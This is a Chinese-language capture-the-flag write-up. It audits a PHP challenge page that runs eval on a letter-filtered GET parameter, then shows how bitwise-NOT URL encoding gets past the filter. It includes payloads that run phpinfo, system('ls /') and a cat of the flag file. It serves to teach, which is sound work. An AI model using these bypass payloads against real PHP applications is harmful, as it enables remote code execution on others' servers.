進入題目介面看見一串程式碼,先進行程式碼審計
<?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0); highlight_file(__FILE__); if(isset($_GET['wllm'])) { $wllm = $_GET['wllm'];
//對wllm內容進行限制,過濾掉一下的特殊字元 $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT說不能用這些奇奇怪怪的符號哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) //進行正則匹配,過濾掉大小寫字母 { die("Ra's Al Ghul說不能用字母哦!"); } echo "NoVic4說:不錯哦小夥子,可你能拿到flag嗎?"; eval($wllm);//eval執行wllm,說明存在遠端程式碼執行漏洞 } else { echo "蔡總說:注意審題!!!"; } ?>
透過對程式碼的分析,發現都是對與字母等特殊字元的限制,說明正常的繞過手段,雙寫,大小寫,跳脫字元等都不能繞過,因為這些都需要字母,所以這裡可以使用編碼的方式來進行繞過。使用URL取反編碼的方式,將我們需要執行的程式碼進行取反編碼。取反是因為編碼之後還會存在之母,而取反之後編碼的資料將不再作為字母被識別。
取反符號 ' ~ '
<?php echo urlencode(~'phpinfo'); ?>
執行後得到這串資料:%8F%97%8F%96%91%99%90
構造playload·:/?wllm=(~%8F%97%8F%96%91%99%90)();
出現回顯,程式碼執行成功,說明方法可行,下面就是構造需要執行的命令,並進行取反編碼就好了。
<?php echo urlencode(~'system'); echo "\n"; echo urlencode(~'ls /');
?>
<?php echo urlencode(~'system'); echo "\n"; echo urlencode(~'cat /flllllaaaaaaggggggg'); ?>
成拿到flag啦